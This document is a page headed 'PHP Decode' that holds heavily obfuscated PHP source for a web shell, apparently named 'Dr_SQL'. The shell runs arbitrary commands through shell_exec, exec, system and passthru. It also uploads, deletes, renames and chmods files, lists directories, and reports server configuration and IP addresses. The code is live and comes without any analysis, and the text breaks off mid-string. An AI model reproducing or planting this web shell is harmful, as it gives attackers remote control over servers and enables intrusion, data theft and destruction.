PHP Decode

<?php
 goto ep_Lp; c0J7v: print "\74\x74\x61\142\154\145\x20\x77\x69\x64\x74\150\75\71\60\x25\x20\141\x6c\x69\147\x6e\x3d\x22\143\145\x6e\x74\x65\162\x22\40\151\x64\x3d\x22\x6c\164\x22\x63\x65\x6c\x6c\160\x61\x64\x64\x69\156\x67\x3d\x22\x30\42\x3e\x3c\164\x64\40\141\x6c\151\x67\x6e\x3d\x22\x63\x65\x6e\x74\145\x72\42\x3e\74\146\157\x72\155\x20\141\x63\x74\151\157\x6e\x3d\x22\77\x64\75" . realpath("\x2e") . "\x22\40\x6d\x65\x74\150\x6f\144\x3d\x22\x47\x45\124\x22\x3e\103\x72\145\x61\164\x65\x20\104\x69\162\72\40\74\151\x6e\x70\x75\x74\40\164\171\x70\x65\x3d\x22\x68\151\144\144\145\156\x22\x20\x6e\x61\x6d\x65\x3d\42\144\42\x20\x76\x61\154\x75\x65\75\42" . realpath("\56") . "\42\x20\x69\x64\75\x22\x6c\x74\42\x3e\x3c\151\x6e\160\165\x74\x20\x74\171\x70\145\75\x22\x74\x65\x78\164\x22\40\x76\141\x6c\x75\x65\75\x22\42\x20\156\x61\x6d\x65\x3d\x22\156\x64\151\162\42\40\151\144\x3d\x22\x6c\164\x22\76\40\74\x69\x6e\160\165\x74\40\x74\171\160\x65\75\x22\163\x75\142\x6d\x69\x74\x22\x20\166\141\x6c\x75\145\75\42\107\157\42\40\151\144\x3d\x22\x6c\x74\42\76\74\57\x66\x6f\x72\155\x3e\x3c\x2f\x74\144\x3e\74\164\x64\40\x61\x6c\151\x67\156\x3d\x22\143\145\x6e\x74\x65\162\42\76\x3c\x66\x6f\x72\x6d\40\x61\x63\x74\x69\157\156\x3d\42\77\x64\x3d\x22" . realpath("\x2e") . "\42\40\155\145\164\150\x6f\144\x3d\42\x47\x45\x54\x22\x3e\103\x72\x65\141\x74\145\x20\106\151\x6c\145\x3a\40\x3c\x69\156\x70\165\164\x20\x74\171\160\x65\75\42\x68\x69\x64\x64\x65\x6e\x22\x20\166\x61\154\x75\x65\75\42" . realpath("\56") . "\x22\x20\156\x61\155\x65\x3d\x22\144\x22\40\151\144\75\42\154\164\42\x3e\x3c\x69\156\160\165\x74\x20\164\x79\x70\x65\75\x22\150\x69\x64\x64\145\x6e\x22\x20\x76\141\x6c\165\x65\75\x22\143\42\x20\x6e\141\155\x65\x3d\x22\170\x22\x3e\x3c\x69\156\x70\x75\x74\x20\164\171\x70\x65\75\42\164\145\x78\x74\42\x20\x76\x61\x6c\x75\x65\x3d\42\x22\40\156\x61\155\x65\75\x22\146\x22\x20\x69\x64\75\42\x6c\164\42\x3e\x20\74\x69\x6e\160\165\164\x20\x74\x79\160\145\75\42\163\165\142\155\x69\x74\42\40\166\x61\x6c\165\145\75\x22\107\157\x22\40\x69\144\x3d\42\x6c\164\x22\76\74\57\x66\157\162\155\x3e\74\x2f\x74\x64\76\x3c\x74\x64\x20\x61\154\151\x67\x6e\x3d\x22\143\145\x6e\x74\145\162\42\x3e\74\x66\157\162\155\x20\141\143\x74\x69\157\x6e\x3d\x22\77\x78\75\143\155\144\46\x64\75" . realpath("\x2e") . "\42\40\x6d\145\164\150\157\144\x3d\42\120\x4f\123\124\x22\x3e\103\157\155\155\141\x6e\x64\x3a\x20\x3c\x69\x6e\x70\x75\164\x20\x74\171\160\x65\x3d\x22\x74\x65\x78\164\42\40\166\141\x6c\x75\x65\x3d\42\x22\x20\156\141\155\x65\x3d\x22\143\155\x64\x22\x20\151\x64\x3d\x22\154\x74\42\76\x20\74\151\156\x70\x75\164\40\x74\x79\x70\x65\x3d\42\163\x75\142\155\151\x74\x22\40\x76\x61\x6c\165\x65\75\x22\x47\157\42\x20\x69\x64\75\x22\x6c\164\42\x3e\74\57\146\157\x72\155\x3e\x3c\57\x74\144\76\x3c\x74\x64\x20\141\x6c\151\147\156\75\42\143\x65\x6e\x74\145\x72\x22\x3e\x3c\x66\157\162\x6d\40\x61\x63\x74\x69\157\x6e\x3d\x22\x3f\144\x3d" . realpath("\x2e") . "\x22\40\155\x65\164\150\x6f\144\x3d\42\120\117\123\124\x22\40\x65\x6e\143\164\x79\x70\x65\75\x22\x6d\165\x6c\164\151\160\141\162\x74\x2f\x66\x6f\x72\x6d\55\x64\x61\164\x61\x22\x3e\x55\160\x6c\157\141\x64\x3a\x20\74\151\156\x70\165\164\40\x74\x79\x70\x65\x3d\x22\x68\151\144\144\x65\x6e\x22\x20\x76\141\x6c\165\145\75\42\x31\x30\x30\60\x30\60\x30\x30\60\42\40\x6e\x61\155\145\75\42\115\101\x58\x5f\106\x49\x4c\105\x5f\x53\x49\132\x45\42\x3e\74\x69\x6e\x70\x75\x74\40\x74\x79\160\145\x3d\42\146\x69\154\x65\42\x20\156\141\x6d\145\x3d\42\165\x70\146\x69\154\x65\42\x20\x69\144\75\x22\x6c\x74\42\76\40\74\151\156\160\165\x74\40\x74\171\x70\x65\75\x22\x73\165\x62\x6d\x69\x74\42\x20\x76\x61\154\x75\x65\75\42\107\157\42\x20\151\x64\x3d\x22\154\164\x22\x3e\x3c\57\x66\x6f\162\155\x3e\x3c\57\164\144\76\x3c\57\x74\141\x62\x6c\145\x3e"; goto uXYKz; Am4C8: function Y2ifJ() { goto VMEGp; KIEMN: ccEHh: goto Sk9wt; sXS8i: return "\104\151\x73\x61\x62\x6c\x65\x64"; goto mKg90; VMEGp: if (function_exists("\145\130\63\155\x4b")) { goto iZs90; } goto sXS8i; IXH3J: iZs90: goto r2jAg; r2jAg: return "\x45\156\x61\x62\154\x65\x64"; goto KIEMN; mKg90: goto ccEHh; goto IXH3J; Sk9wt: } goto yNNpV; mhQCg: $P2tZg = $_GET["\144"]; goto fodQL; Q215G: ZwalW(); goto gys12; xiA3g: ZEht2: goto SQFBs; rWrLq: if (!(is_dir($gjck_) && $gjck_ != "\56" && $gjck_ != "\x2e\x2e")) { goto Q418N; } goto sra3s; bnRRa: function xFXFf($gKiEt, $CpUWl) { goto ardFi; ardFi: switch ($gKiEt) { case "\x73\x68\x65\x6c\x6c\x5f\145\170\x65\x63": print '' . htmlspecialchars(shell_exec($CpUWl)) . ''; goto zi2Pc; case "\145\170\145\143": goto vX9H4; feCBg: iTJ5P: goto P6efM; yTy2Y: foreach ($A5wA9 as $r1_ub) { print htmlspecialchars($r1_ub) . "\x3c\142\x72\x3e"; mbGWa: } goto feCBg; vX9H4: exec($CpUWl, $A5wA9); goto yTy2Y; P6efM: goto zi2Pc; goto GVHdj; GVHdj: case "\x73\x79\163\x74\145\x6d": goto i9dDM; Mt3aK: goto zi2Pc; goto ob60H; i9dDM: system($CpUWl, $ntkBa); goto j7Uqr; j7Uqr: print "\122\x65\164\165\162\x6e\x20\166\x61\154\165\145\x3a\40" . $ntkBa; goto Mt3aK; ob60H: case "\160\141\x73\x73\x74\x68\x72\165": goto gVQG2; gVQG2: passthru($CpUWl, $ntkBa); goto kTfWf; kTfWf: print "\x52\x65\164\x75\x72\x6e\40\x76\x61\154\165\145\x3a\x20" . $ntkBa; goto xhKT8; xhKT8: goto zi2Pc; goto KbzPl; KbzPl: default: print "\103\x6f\155\155\x61\156\144\x20\145\x78\145\143\x75\164\x69\x6f\156\40\156\157\164\x20\x61\x76\141\x69\154\141\142\154\x65"; } goto wksv5; wksv5: Zi14j: goto HeBrv; HeBrv: zi2Pc: goto qE4AB; qE4AB: } goto kg7xX; qnvfm: chmod($P2tZg, $FhByS); goto elGa_; wlIg0: I7E6z: goto cBw30; pYbPt: vCWkT: goto LbEgC; o2Ezk: print "\74\164\144\40\143\157\x6c\x73\x70\x61\156\x3d\x33\x20\141\154\x69\x67\156\75\x22\143\x65\x6e\164\145\x72\42\x3e\74\141\x20\150\x72\145\146\x3d\42\x3f\x78\x3d\160\x68\160\151\x6e\x66\x22\40\x74\141\162\147\145\x74\75\42\x5f\x62\x6c\x61\x6e\x6b\42\x3e\x50\110\x50\x49\x6e\146\157\74\57\x61\x3e\74\x2f\164\144\76\74\57\164\141\x62\154\x65\76"; goto oIq55; kg7xX: function aRd00() { goto pjgBe; FjG0S: fAqjV: goto N_aLp; zEXSr: PAg5C: goto pta4f; Gl02H: if (function_exists("\160\141\x73\163\164\x68\162\x75")) { goto OttaD; } goto sR1qs; nR1pz: return "\x73\150\x65\154\x6c\x5f\145\170\x65\x63"; goto ANy5s; uRQAL: goto PAg5C; goto eSAow; eSAow: b0t4Z: goto vc243; N_aLp: return "\x65\170\x65\x63"; goto uRQAL; kuhpq: MLN3_: goto nR1pz; SShum: if (function_exists("\163\171\163\164\145\155")) { goto b0t4Z; } goto Gl02H; bVg53: return "\160\x61\x73\163\164\x68\162\x75"; goto zEXSr; GJ3hV: if (function_exists("\145\x78\145\143")) { goto fAqjV; } goto SShum; deTrb: OttaD: goto bVg53; ANy5s: goto PAg5C; goto FjG0S; sR1qs: return ''; goto r11CA; vc243: return "\x73\171\163\164\x65\155"; goto x32hh; r11CA: goto PAg5C; goto kuhpq; x32hh: goto PAg5C; goto deTrb; pjgBe: if (function_exists("\x73\x68\145\x6c\x6c\137\145\x78\x65\x63")) { goto MLN3_; } goto GJ3hV; pta4f: } goto myg_B; elGa_: mT5eY: goto km6t1; bdfu4: $VmS0W = $_POST["\x6f\x6c\144"]; goto QfkKu; CvZn0: goto acCfB; goto Wf5PT; NQwHy: foreach ($HnSHL as $fkqzQ => $vPVYI) { print "\74\164\x64\x3e" . $fkqzQ . "\74\57\164\x64\76\74\x74\x64\x3e\x20\72\76\40\74\x2f\x74\x64\76\x3c\164\x64\x3e\40" . $vPVYI . "\74\x2f\164\x64\x3e\x3c\x74\162\76"; SwyoO: } goto zrtX_; nd4Pg: if (!($gjck_ !== false)) { goto LCXOC; } goto rWrLq; I03BV: if (isset($_REQUEST["\170"])) { goto zoCIN; } goto OYmk4; ST0cL: print "\74\164\x61\x62\x6c\145\x20\151\x64\75\x22\x6d\x6f\162\x65\x49\42\76"; goto NQwHy; ZdXRN: VAxN_: goto LcOe3; CpCx1: $gjck_ = readdir($P2tZg); goto KQ6D2; V4IHB: if (!isset($_GET["\144\145\154\x64"])) { goto VeAny; } goto jyMMO; QfkKu: $P2tZg = $_POST["\144"]; goto Al_O3; jqjMS: move_uploaded_file($_FILES["\x75\160\146\x69\154\145"]["\164\x6d\160\x5f\156\141\x6d\x65"], $P2tZg); goto ZdXRN; CmL3p: $V_GPH = getcwd(); goto MFn3P; Zt0xB: unlink($P2tZg); goto bCOLe; BoBAy: function cnIJl() { goto XubFv; DTuwp: goto JPAZV; goto R1W8b; VpEDZ: return "\x45\156\x61\x62\x6c\x65\x64"; goto KFZp4; XubFv: if (function_exists("\122\x51\165\x50\111")) { goto lYdar; } goto ddtSa; R1W8b: lYdar: goto VpEDZ; KFZp4: JPAZV: goto dpoTQ; ddtSa: return "\x44\151\163\x61\142\154\x65\144"; goto DTuwp; dpoTQ: } goto dfAi3; eIuXJ: $VKKgS = php_uname(); goto WTIpO; JU0pI: print $I1cB6; goto heFpW; coYuo: function yulYW() { goto L8hkS; vBW0I: return $F6AgQ; goto nLNOt; hLcmh: return "\x4e\x6f\x20\x76\141\154\x75\x65"; goto yCN8T; nLNOt: BuWtG: goto FhXvk; L8hkS: if ($F6AgQ = ini_get("\x6f\160\145\156\x5f\142\141\x73\145\144\151\162")) { goto rk8P4; } goto hLcmh; yCN8T: goto BuWtG; goto E3kNP; E3kNP: rk8P4: goto vBW0I; FhXvk: } goto BoBAy; sIOA7: y_FA3: goto V4IHB; jOy3g: $P2tZg = realpath("\x2e") . DIRECTORY_SEPARATOR . basename($_FILES["\x75\160\146\151\x6c\145"]["\x6e\141\155\145"]); goto jqjMS; BLk8d: $gjck_ = readdir($P2tZg); goto zYMrb; BTZPM: if (!isset($_GET["\x64\145\154\x66"])) { goto JxAPA; } goto KMd3z; jaaHM: function IFp8r() { goto k2_JU; MI7kk: goto XMBLY; goto m0XMy; m0XMy: KE61W: goto HMMXn; CjC5j: return "\x44\x69\163\x61\x62\154\x65\144"; goto MI7kk; j2ltH: XMBLY: goto tayBL; HMMXn: return "\x45\x6e\141\142\154\145\144"; goto j2ltH; k2_JU: if (function_exists("\x64\x43\114\x30\123")) { goto KE61W; } goto CjC5j; tayBL: } goto Znoc_; KLQ4d: mkdir($P2tZg . DIRECTORY_SEPARATOR . $fkqzQ); goto UJJ02; heFpW: $HnSHL = array("\120\x48\120\40\126\x65\162\x73\x69\x6f\156" => phpversion(), "\x5a\x65\156\x64\x20\126\145\162\x73\x69\157\x6e" => zend_version(), "\x4d\141\x67\x69\143\x20\121\165\157\164\x65\x73" => FYG1u(), "\103\165\162\x6c" => Y2ifj(), "\122\145\147\151\163\164\145\x72\40\107\154\x6f\x62\x61\x6c\163" => WkNZx(), "\117\160\x65\156\102\141\163\x65\40\104\151\162" => YulyW(), "\x4d\171\123\x51\x4c" => cNijl(), "\x47\172\x69\160" => nYAaN(), "\115\163\123\x51\114" => IFP8r(), "\120\x6f\163\164\147\162\x65\123\121\x4c" => F2S2k(), "\x4f\x72\141\x63\154\x65" => sa2jQ(), "\x54\x6f\x74\x61\154\40\123\160\141\x63\145" => mv3Ee(disk_total_space("\57")), "\x55\x73\x65\144\x20\123\160\x61\143\145" => MV3ee(disk_free_space("\57")), "\x59\x6f\x75\x72\x20\111\120" => $_SERVER["\122\x45\x4d\117\x54\105\x5f\x41\104\x44\x52"], "\123\145\x72\x76\x65\162\x20\x49\120" => $_SERVER["\x53\105\122\x56\105\122\137\101\104\104\x52"]); goto ST0cL; QK2M0: function ZWALw() { die("\74\163\143\162\x69\x70\x74\76\x77\151\156\144\x6f\x77\x2e\x6c\157\x63\141\164\151\x6f\156\x3d\42\x3f\x22\x3b\x3c\57\x73\x63\162\151\x70\164\x3e"); } goto mcvR4; oIq55: if (!isset($_GET["\144"])) { goto SwNQr; } goto pg8My; x2O5y: dmUxA: goto nd4Pg; KQ6D2: goto dmUxA; goto wBtUu; RQOYJ: acCfB: goto Q1B6K; A_tss: $P2tZg = opendir("\56"); goto EUYq3; km6t1: if (!isset($_FILES["\165\x70\146\x69\154\x65"]["\156\x61\x6d\145"])) { goto VAxN_; } goto jOy3g; dfAi3: function nYAaN() { goto AFMgA; AFMgA: if (function_exists("\x6f\x62\x5f\147\172\150\x61\x6e\x64\154\x65\162")) { goto uxqVJ; } goto T7gIt; WO1aY: y3xYW: goto P0l2Q; Kuiy0: uxqVJ: goto UoASf; T7gIt: return "\104\x69\x73\x61\142\x6c\x65\144"; goto wVWnq; UoASf: return "\105\x6e\x61\x62\154\x65\144"; goto WO1aY; wVWnq: goto y3xYW; goto Kuiy0; P0l2Q: } goto jaaHM; wBtUu: LCXOC: goto z4hNP; MJTX6: $yP38E = $yP38E ? "\74\x66\157\156\164\40\x63\157\154\x6f\x72\x3d\42\x63\x72\x69\155\163\x6f\x6e\42\76\117\116\x3c\57\146\x6f\x6e\164\x3e" : "\x3c\146\157\156\164\x20\x63\x6f\154\157\162\x3d\42\43\143\x63\146\x66\x30\x30\42\x3e\117\x46\106\x3c\57\146\157\156\x74\x3e"; goto CmL3p; uXYKz: $P2tZg = opendir("\x2e"); goto BLk8d; qdmho: if (is_dir($gjck_)) { goto snEKv; } goto w8_qC; KMd3z: $P2tZg = $_GET["\x64\x65\154\x66"]; goto Zt0xB; g1jYQ: SwNQr: goto I03BV; JlVmA: print "\x3c\x74\x61\x62\154\x65\x20\167\151\144\164\x68\75\x39\x30\x25\x20\141\x6c\x69\x67\156\x3d\x22\x63\x65\x6e\x74\x65\162\x22\40\x69\144\75\x22\x66\x74\x22\76\x3c\x74\144\40\x69\x64\75\42\146\150\x22\40\x63\157\x6c\x73\160\141\156\75\x35\40\141\x6c\151\x67\x6e\x3d\42\143\145\x6e\164\145\162\x22\x3e\106\151\154\x65\x73\74\57\x74\144\76"; goto RQOYJ; W6pF0: if (!isset($_POST["\x6e\x65\x77"])) { goto y_FA3; } goto or2vg; Al_O3: rename($P2tZg . DIRECTORY_SEPARATOR . $VmS0W, $P2tZg . DIRECTORY_SEPARATOR . $fkqzQ); goto sIOA7; UBeyC: dd7rO(); goto HB42v; zrtX_: jccCY: goto o2Ezk; zYMrb: print "\x3c\164\x61\142\x6c\145\40\167\x69\x64\x74\150\x3d\x39\x30\45\40\141\x6c\151\147\156\x3d\x22\x63\145\x6e\164\145\x72\x22\40\x69\144\75\x22\146\164\x22\76\74\164\144\40\151\144\x3d\x22\146\x68\42\40\x63\x6f\154\x73\x70\141\x6e\75\x35\x20\141\154\x69\x67\x6e\x3d\42\x63\x65\x6e\164\x65\x72\42\76\x44\151\x72\x65\x63\x74\x6f\x72\x69\x65\163\74\57\x74\x64\76"; goto x2O5y; M6ANb: $nuuFj = "\74\x2f\142\x6f\144\171\x3e\74\x2f\150\164\155\154\x3e"; goto X0spB; WWZN2: function jTbl3($gQePm) { goto GsRj_; daSMr: $dvs5l = "\x70"; goto Vam9Q; r6LsK: $dvs5l = "\x73"; goto oPzXL; VkljU: return $dvs5l; goto ZRGrV; u5LTW: $dvs5l .= $TFmsC & 0x2 ? "\x77" : "\x2d"; goto fEdLm; Kg2ch: q48G5: goto U6feR; KiKST: $dvs5l = "\142"; goto zTzKZ; vtY0U: if (($TFmsC & 0x8000) == 0x8000) { goto q48G5; } goto LLYOm; r9cco: $dvs5l .= $TFmsC & 0x100 ? "\162" : "\55"; goto acF9M; acF9M: $dvs5l .= $TFmsC & 0x80 ? "\x77" : "\55"; goto uBiii; U6feR: $dvs5l = "\x2d"; goto Qu9hu; Vam9Q: nAdRr: goto r9cco; i_HrH: $dvs5l .= $TFmsC & 0x20 ? "\x72" : "\x2d"; goto JpKse; VxhX2: if (($TFmsC & 0x2000) == 0x2000) { goto BCXz1; } goto Ge4vQ; aGyL_: goto nAdRr; goto MflgJ; vRtW9: IoRFb: goto KiKST; JpKse: $dvs5l .= $TFmsC & 0x10 ? "\167" : "\x2d"; goto Wd9JG; VZGO0: if (($TFmsC & 0xa000) == 0xa000) { goto Cco9X; } goto vtY0U; wxbUC: $dvs5l = "\144"; goto aGyL_; SYq21: $dvs5l = "\x6c"; goto MnLSy; uBiii: $dvs5l .= $TFmsC & 0x40 ? $TFmsC & 0x800 ? "\163" : "\x78" : ($TFmsC & 0x800 ? "\123" : "\55"); goto i_HrH; oPzXL: goto nAdRr; goto UjO7Y; fEdLm: $dvs5l .= $TFmsC & 0x1 ? $TFmsC & 0x200 ? "\164" : "\170" : ($TFmsC & 0x200 ? "\x54" : "\55"); goto VkljU; LLYOm: if (($TFmsC & 0x6000) == 0x6000) { goto IoRFb; } goto I8qOh; GsRj_: $TFmsC = fileperms($gQePm); goto LZ7He; LZ7He: if (($TFmsC & 0xc000) == 0xc000) { goto SyTX1; } goto VZGO0; wOk6z: $dvs5l .= $TFmsC & 0x4 ? "\x72" : "\55"; goto u5LTW; tAeFA: D0Dxz: goto daSMr; Wd9JG: $dvs5l .= $TFmsC & 0x8 ? $TFmsC & 0x400 ? "\163" : "\x78" : ($TFmsC & 0x400 ? "\123" : "\55"); goto wOk6z; QRYDS: SyTX1: goto r6LsK; IRvSc: beM1I: goto wxbUC; Qu9hu: goto nAdRr; goto vRtW9; zTzKZ: goto nAdRr; goto IRvSc; UjO7Y: Cco9X: goto SYq21; Bk1it: $dvs5l = "\143"; goto WCBGH; ET6Qx: goto nAdRr; goto QRYDS; TsExn: $dvs5l = "\165"; goto ET6Qx; Ge4vQ: if (($TFmsC & 0x1000) == 0x1000) { goto D0Dxz; } goto TsExn; WCBGH: goto nAdRr; goto tAeFA; MflgJ: BCXz1: goto Bk1it; I8qOh: if (($TFmsC & 0x4000) == 0x4000) { goto beM1I; } goto VxhX2; MnLSy: goto nAdRr; goto Kg2ch; ZRGrV: } goto kvDLF; mndPk: print $Le8wB; goto G9cr2; sra3s: print "\74\x74\x72\x20\151\144\75\42\146\x6e\x22\x3e\x3c\x74\144\x3e\74\141\x20\x68\x72\145\x66\75\42\77\144\75" . realpath("\x2e") . DIRECTORY_SEPARATOR . $gjck_ . "\42\76" . $gjck_ . "\x3c\x2f\141\76\x3c\57\x74\144\76\74\164\144\76" . jtbl3(realpath("\56") . DIRECTORY_SEPARATOR . $gjck_) . "\x3c\57\x74\x64\76\74\x74\144\x3e\74\x61\x20\x68\x72\x65\146\75\x22\77\144\x65\x6c\x64\75" . realpath("\x2e") . DIRECTORY_SEPARATOR . $gjck_ . "\42\76\x44\145\x6c\x65\164\145\x3c\57\x61\x3e\x3c\57\164\144\76\x3c\x74\x64\x3e\x3c\141\40\150\162\145\x66\75\x22\x3f\170\x3d\x63\46\144\75" . realpath("\x2e") . DIRECTORY_SEPARATOR . $gjck_ . "\x22\x3e\x52\x65\156\x61\155\145\74\x2f\141\76\74\x2f\164\x64\76\74\x2f\x74\162\76"; goto bPmZb; f4sdJ: $Le8wB = "\74\x68\164\155\x6c\76\x3c\150\145\141\x64\76\74\164\151\164\x6c\x65\76\104\162\x5f\123\x51\x4c\x3c\57\x74\x69\x74\154\145\76\74\x73\x74\x79\154\x65\76\142\x6f\x64\x79\40\x7b\x62\x61\x63\x6b\x67\162\x6f\x75\156\x64\x3a" . $xZTDQ . "\x3b\143\157\x6c\x6f\162\x3a" . $nSlOI . "\x3b\x66\x6f\x6e\164\55\x73\151\x7a\x65\x3a\71\x70\164\73\146\x6f\156\x74\55\146\x61\155\x69\154\171\x3a\x54\162\x65\x62\165\143\x68\145\164\x20\x4d\x53\54\143\165\x72\x73\x69\166\x65\x2c\x73\x61\156\163\x20\163\145\x72\x69\146\x3b\175\150\61\43\x6e\x7b\160\157\x73\x69\x74\x69\157\x6e\72\146\x69\x78\145\x64\73\x74\157\160\72\x31\x30\160\x78\x3b\x6c\x65\146\164\72\61\x30\160\x78\x3b\164\x65\x78\x74\x2d\x73\x68\141\144\157\x77\x3a\60\x70\x78\x20\60\160\170\40\x35\x70\x78\40\142\154\141\x63\x6b\x3b\143\x6f\x6c\157\162\x3a\43\x37\71\x61\x33\x31\x37\x3b\x7d\x68\61\43\x6e\x6d\x7b\x74\x65\x78\x74\55\163\x68\x61\x64\x6f\167\72\60\x70\170\x20\x30\160\x78\x20\x35\x70\170\40\x62\154\x61\143\153\x3b\143\x6f\154\x6f\x72\x3a\x23\67\x39\141\x33\x31\67\x3b\175\x61\40\173\x63\157\154\x6f\162\x3a" . $nSlOI . "\x3b\164\145\x78\x74\55\144\x65\x63\157\162\x61\x74\x69\x6f\156\72\x6e\x6f\x6e\145\73\x66\x6f\156\x74\x2d\x66\141\x6d\151\x6c\x79\72\x43\x6f\x6d\151\143\x20\x53\x61\156\163\40\115\x73\x2c\x63\165\x72\163\x69\166\x65\54\163\141\x6e\163\x20\163\x65\x72\151\x66\x3b\175\x61\x3a\150\157\x76\145\162\40\173\x63\157\x6c\157\x72\72\43\67\71\x61\63\x31\67\x3b\x7d\150\162\x20\x7b\x62\x61\x63\x6b\x67\162\157\165\x6e\144\72" . $nSlOI . "\73\143\157\x6c\157\x72\72\142\x6c\x61\143\153\73\175\160\43\142\143\x6b\x7b\x70\x6f\163\x69\164\151\157\156\72\146\151\x78\145\x64\73\164\157\160\x3a\62\x30\x70\170\x3b\162\151\147\150\x74\72\x32\60\160\x78\x3b\175\x23\155\145\x6e\165\40\x7b\160\157\x73\x69\x74\x69\157\x6e\x3a\146\151\x78\x65\x64\73\x62\x6f\x74\x74\x6f\x6d\x3a\60\160\x78\73\x77\151\x64\x74\150\x3a\61\60\60\45\73\146\x6f\x6e\164\x2d\163\151\x7a\145\x3a\61\x33\x70\x74\73\175\x23\x6d\145\x6e\x75\x42\40\173\142\x61\x63\153\147\x72\157\165\x6e\x64\72" . $xZTDQ . "\73\142\157\170\55\163\x68\x61\x64\x6f\x77\x3a\x30\x70\170\40\60\160\170\x20\61\x30\x70\170\x20\142\154\141\x63\x6b\73\x62\157\x72\x64\x65\162\55\x72\x61\x64\x69\x75\163\72\61\x35\160\x78\73\160\x61\144\x64\x69\156\147\72\65\160\170\40\x32\60\x70\x78\40\65\x70\170\x20\x32\x30\160\170\73\175\x74\141\142\154\145\x23\x6d\157\162\145\111\x7b\146\157\156\164\x2d\x73\151\172\x65\x3a\71\x70\x74\73\142\141\143\x6b\x67\x72\x6f\165\156\144\72" . $xZTDQ . "\x3b\x62\x6f\x72\144\x65\x72\x2d\x72\141\144\x69\x75\x73\72\x31\60\x70\170\x3b\142\x6f\x78\x2d\163\150\141\144\157\x77\72\60\160\170\40\x30\160\x78\40\x31\60\160\x78\x20\x62\x6c\141\x63\x6b\73\160\x61\144\144\151\x6e\x67\72\x35\x70\x78\x3b\160\157\x73\x69\164\x69\x6f\x6e\72\146\x69\x78\x65\x64\x3b\142\157\164\x74\x6f\x6d\x3a\x34\60\160\170\73\162\x69\147\150\x74\x3a\64\x30\160\170\73\144\151\x73\x70\x6c\141\171\x3a\156\x6f\x6e\x65\x3b\x7d\x70\x23\x63\160\40\173\146\157\156\164\55\163\x69\172\145\72\x31\61\160\x74\x3b\175\x74\x61\x62\154\x65\43\x6c\x74\x20\x7b\146\157\x6e\164\55\163\x69\x7a\x65\x3a\x31\x30\x70\x74\73\x7d\151\x6e\x70\165\x74\43\x6c\164\x2c\x69\156\160\x75\x74\43\163\x76\40\x7b\142\x61\143\153\x67\x72\x6f\165\x6e\144\72" . $xZTDQ . "\73\142\x6f\x72\144\145\x72\x2d\x72\141\144\151\x75\x73\72\61\60\x70\170\73\x62\x6f\162\x64\x65\162\x3a\61\x70\170\x20\x73\157\154\151\x64\40" . $nSlOI . "\x3b\143\x6f\154\157\162\72" . $nSlOI . "\x3b\164\x65\170\164\x2d\x61\154\151\147\156\72\143\145\156\x74\145\162\x3b\x7d\x69\x6e\160\165\x74\43\154\164\142\x20\173\x62\141\x63\x6b\147\162\157\x75\156\x64\72\162\x67\142\x61\x28\60\x2c\60\x2c\60\x2c\x30\x29\x3b\x62\157\x72\144\x65\x72\x2d\x72\x61\x64\x69\x75\x73\72\61\x30\160\x78\x3b\143\157\x6c\157\162\x3a" . $nSlOI . "\x3b\x62\x6f\170\x2d\x73\x68\141\144\x6f\x77\x3a\x30\160\x78\40\x30\x70\x78\x20\x31\160\x78\40" . $nSlOI . "\x3b\142\157\x72\x64\x65\x72\72\60\x70\x78\40\163\157\x6c\x69\x64\40\x72\x67\x62\141\x28\x30\54\x30\54\60\54\x30\51\73\175\x74\141\142\154\x65\43\x66\164\40\173\146\157\x6e\x74\x2d\x73\151\172\145\72\71\160\x74\x3b\x70\141\x64\x64\151\156\147\x3a\65\160\x78\x3b\x62\x6f\x72\144\x65\162\55\162\141\144\x69\165\x73\72\x31\x30\x70\x78\x3b\142\157\170\55\163\x68\141\144\x6f\x77\x3a\60\160\170\x20\x30\x70\170\40\x31\x30\x70\x78\x20\142\154\141\143\153\73\175\164\x64\x23\x66\150\x20\173\x62\157\162\144\145\x72\x2d\142\157\x74\x74\x6f\x6d\72\x31\x70\170\40\163\157\154\151\144\40" . $nSlOI . "\73\x70\x61\144\144\x69\x6e\147\55\142\x6f\164\164\157\x6d\x3a\63\x70\x78\x3b\x7d\x74\162\x23\146\156\72\x68\x6f\x76\x65\162\173\142\x6f\170\55\x73\x68\141\144\x6f\167\x3a\x30\160\x78\x20\x30\160\x78\x20\65\160\170\40\x62\x6c\x61\143\153\73\x7d\150\x33\40\x7b\x74\x65\170\164\55\x73\x68\141\x64\x6f\167\72\60\x70\x78\40\x30\x70\170\x20\64\x70\170\x20\142\x6c\141\143\x6b\x3b\x66\157\156\x74\55\163\151\x7a\x65\72\x31\63\160\x74\x3b\175\x74\145\170\164\141\x72\x65\141\43\x65\x64\151\164\x20\173\142\x61\143\153\147\162\x6f\165\x6e\x64\72" . $xZTDQ . "\73\x63\157\x6c\x6f\162\72" . $nSlOI . "\x3b\x62\157\x78\55\163\x68\x61\144\157\167\x3a\x30\160\170\x20\60\x70\170\40\61\60\x70\x78\40\142\x6c\141\x63\x6b\x3b\142\x6f\x72\144\145\162\55\162\141\x64\x69\x75\x73\72\61\x30\160\x78\x3b\142\157\x72\x64\x65\162\x3a\x6e\x6f\156\145\x3b\160\x61\144\144\x69\156\147\x3a\x31\x30\x70\x78\x3b\175\x3c\x2f\x73\x74\171\154\145\x3e\74\163\x63\x72\x69\160\x74\x20\164\171\160\145\x3d\x22\x74\x65\x78\x74\x2f\152\141\x76\141\163\x63\x72\151\x70\164\42\76\x66\x75\156\143\x74\151\x6f\156\x20\x67\x65\164\x5f\x69\x6e\x66\x28\51\40\173\x69\x66\x28\x64\x6f\143\x75\155\145\x6e\164\x2e\x67\145\164\x45\x6c\x65\x6d\145\156\164\102\171\111\x64\x28\47\x6d\x6f\x72\x65\111\47\x29\56\x73\x74\171\x6c\x65\56\x64\151\x73\x70\x6c\141\x79\75\x3d\x22\142\x6c\157\143\x6b\42\x29\x7b\x64\157\x63\165\x6d\x65\156\164\x2e\x67\145\x74\x45\x6c\145\x6d\x65\156\164\x42\171\111\144\50\x27\x6d\x6f\x72\x65\111\47\x29\x2e\x73\164\171\154\x65\56\144\x69\x73\x70\x6c\141\171\x3d\x22\156\x6f\156\x65\x22\175\x65\154\163\x65\x20\173\144\x6f\143\165\x6d\x65\x6e\164\56\x67\145\164\105\x6c\x65\x6d\145\x6e\164\102\x79\x49\x64\x28\x27\x6d\x6f\x72\145\111\x27\51\x2e\x73\164\171\154\145\56\x64\x69\163\x70\154\x61\171\x3d\42\x62\x6c\157\143\x6b\42\x3b\x7d\175\40\146\x75\156\143\x74\151\x6f\156\x20\x78\x79\156\50\x69\144\x31\54\x69\144\62\51\x20\173\x64\157\x63\x75\x6d\x65\156\x74\56\x67\145\164\x45\x6c\x65\155\145\x6e\x74\x42\x79\x49\144\x2